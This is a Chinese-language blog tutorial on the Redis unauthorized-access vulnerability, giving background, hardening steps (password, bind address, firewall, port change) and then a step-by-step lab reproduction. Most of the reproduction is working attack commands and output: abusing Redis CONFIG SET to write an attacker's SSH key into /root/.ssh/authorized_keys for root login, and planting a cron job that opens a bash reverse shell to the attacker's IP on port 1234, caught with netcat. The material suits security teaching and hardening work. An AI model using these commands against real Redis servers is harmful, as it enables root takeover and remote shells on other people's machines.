redis未授权访问漏洞怎么复现和利用?redis未授权访问漏洞的复现和利用

TheDisguiser 2020-03-29 18:15:30 java常见问答 7708

大家好,redis数据库相信大家都很熟悉了,那么,你们知道吗?Redis也是有着漏洞的。今天小编就跟大家聊一聊关于redis未授权漏洞如何复现与利用。

一.什么是Redis未授权访问漏洞?

Redis在默认情况会将服务绑定在0.0.0.0:6379上,从而将服务暴露在公网环境下,如果在没有开启安全认证的情况下,可以导致任意用户未授权访问Redis服务器并Redis进行读写操作。攻击者在未授权访问Redis服务器时可以通过上传公钥的方法将自己的公钥上传到Redis服务器上,达到免密登陆的效果。

Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络中, 因为让不受信任的客户接触到 Redis 是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99% 使用 Redis 的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用 Redis 或者因为运维人员的疏忽等原因,部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致

Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

漏洞危害

如果攻击者进入了我们的redis服务器,他便可以自由下载数据库中的文件,造成信息泄露,造成个人隐私泄露或者公司机密泄露,造成巨大损害。同时如果攻击者进行提权获取更大的权限,还会产生更大的危害。

二.修复方法

配置访问密码:启用 redis.conf配置中的 requirepass 项,设置复杂的访问密码

修改监听地址:修改 redis.conf 配置中的 bind 0.0.0.0 ,改成 bind 127.0.0.1

限制可以连接 Redis 服务器的IP:iptables -I INPUT -s ip --dport 6379 -j ACCEPT

修改 Redis 服务的默认端口6379

三.漏洞复现

环境说明:

Redis 服务器

系统:CentOS7.3

IP :192.168.0.232

Redis:redis-2.8.22

攻击者

系统:CentOS7.3

IP:192.168.0.231

服务器端,启动服务:

redis默认监听0.0.0.0:6379,不设置密码。服务器防火墙不做IP过滤。

[root@test-server ~]# ps -ef |grep redis 
root 103026 1 0 11:35 ? 00:00:00 /server/redis/bin/redis-server  0.0.0.0:6379攻击方法一:ssh免密码登录

攻击者客户端:

创建公钥

[root@test-client ~]# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
b4:dc:1a:a8:b9:1c:3a:3d:91:af:fa:90:5b:1a:fd:c9 root@test-client
The key's randomart image is:
+--[ RSA 2048]----+
| |
| |
| . |
| + o |
| .. S . |
| ooo o |
| +.*o . |
| .Oo=.. |
| =+=oE |
+-----------------+

查看公钥

[root@test-client ~]# cat /root/.ssh/id_rsa.pub
ssh-rsa 
AAAAB3Nzayc2EAAAADAQABAAABAQC3BYQnEECmTXFUvZUEWCtZuXWBj/ziksQSfucN/ELPQvUX6Bdn0yVMmNYzcy8O4K0kR+Lpwhn4LDSQzCOoGUh8Nl4+tPWrnu5aSwRdPzwxyHiDjSwDGm0Rlea4g2fZKEDjAwkJMW8X3q7XMNw/BY13lau8UuDtJyPFkkrIHNf3NKWvS2wltdHBv0KGAx3jVZN0DeFNVJolqjH9NSUyfulI6ouTGwwR5NyObcsZbuqIWzQ+IrqGfEJtfu+6MOUZQ+5EJc9iVctsRUDttSr/HzbhFt32f6Gw2UJkeR4odiyWNSh3DEpCl0vlBGoLXEevXlXqPk1p0Mu43uaGLbQAVfO9 
root@test-client

连接 redis ,上传公钥

[root@test-client ~]# redis-cli -h 192.168.0.232
192.168.0.232:6379> config set dir /root/.ssh/
OK
192.168.0.232:6379> config set dbfilename authorized_keys
OK
192.168.0.232:6379> set xxx "


ssh-rsa 
AAAAB3Nzayc2EAAAADAQABAAABAQC3BYQnEECmTXFUvZUEWCtZuXWBj/ziksQSfucN/ELPQvUX6Bdn0yVMmNYzcy8O4K0kR+Lpwhn4LDSQzCOoGUh8Nl4+tPWrnu5aSwRdPzwxyHiDjSwDGm0Rlea4g2fZKEDjAwkJMW8X3q7XMNw/BY13lau8UuDtJyPFkkrIHNf3NKWvS2wltdHBv0KGAx3jVZN0DeFNVJolqjH9NSUyfulI6ouTGwwR5NyObcsZbuqIWzQ+IrqGfEJtfu+6MOUZQ+5EJc9iVctsRUDttSr/HzbhFt32f6Gw2UJkeR4odiyWNSh3DEpCl0vlBGoLXEevXlXqPk1p0Mu43uaGLbQAVfO9 
root@test-client


"
OK
192.168.0.232:6379> save
OK
192.168.0.232:6379> exit

服务器上查看公钥是否上传成功:

[root@test-server ~]# cat /root/.ssh/authorized_keys
REDIS0008 redis-ver4.0.1
redis-bits￀㨭e‚°used-mem¢
aof-preamblezrepl-id(01f19f24c705d6f3ad9d6e897326dff16a6a37b1 
䯬-offset~ⷸxA“
ssh-rsa 
AAAAB3Nzayc2EAAAADAQABAAABAQC3BYQnEECmTXFUvZUEWCtZuXWBj/ziksQSfucN/ELPQvUX6Bdn0yVMmNYzcy8O4K0kR+Lpwhn4LDSQzCOoGUh8Nl4+tPWrnu5aSwRdPzwxyHiDjSwDGm0Rlea4g2fZKEDjAwkJMW8X3q7XMNw/BY13lau8UuDtJyPFkkrIHNf3NKWvS2wltdHBv0KGAx3jVZN0DeFNVJolqjH9NSUyfulI6ouTGwwR5NyObcsZbuqIWzQ+IrqGfEJtfu+6MOUZQ+5EJc9iVctsRUDttSr/HzbhFt32f6Gw2UJkeR4odiyWNSh3DEpCl0vlBGoLXEevXlXqPk1p0Mu43uaGLbQAVfO9 
root@test-client
ÿ0W[root@test-server ~]#

看到已经上传成功了。

攻击者登录服务器:

[root@test-client ~]# ssh root@192.168.0.232
Last login: Thu Sep 7 11:17:02 2017 from 192.168.0.242
[root@test-server ~]# pwd
/root
[root@test-server ~]#

登录成功。

攻击方法二:修改定时任务实现反弹shell

攻击者:

连接 redis 并添加定时任务

[root@test-client ~]# redis-cli -h 192.168.0.232
192.168.0.232:6379> config set dir /var/spool/cron
OK
192.168.0.232:6379> config set dbfilename root
OK
192.168.0.232:6379> set -.- "


* * * * * bash -i >& 
/dev/tcp/192.168.0.231/1234 0>&1


"
OK
192.168.0.232:6379> save
OK
192.168.0.232:6379> exit
[root@test-client ~]#

服务器端

# 查看定时任务

[root@test-server ~]# crontab -l
REDIS0008 redis-ver4.0.1
redis-bits￀㨭eŰused-mem
preamblezrepl-id(01f19f24c705d6f3ad9d6e897326dff16a6a37b1 䯬-offset~᫮-;
* * * * * bash -i >& /dev/tcp/192.168.0.231/1234 0>&1
ÿ�՞ؽ[root@test-server ~]

攻击者监听连接

[root@test-client ~]# netcat -l -p 1234
bash: no job control in this shell
[root@test-server ~]# pwd
pwd
/root
[root@test-server ~]#

服务器会自动连接客户端,客户端监听1234端口,即可。

好了,这就是今天关于redis未授权访问漏洞的介绍,更多相关内容请继续关注本站。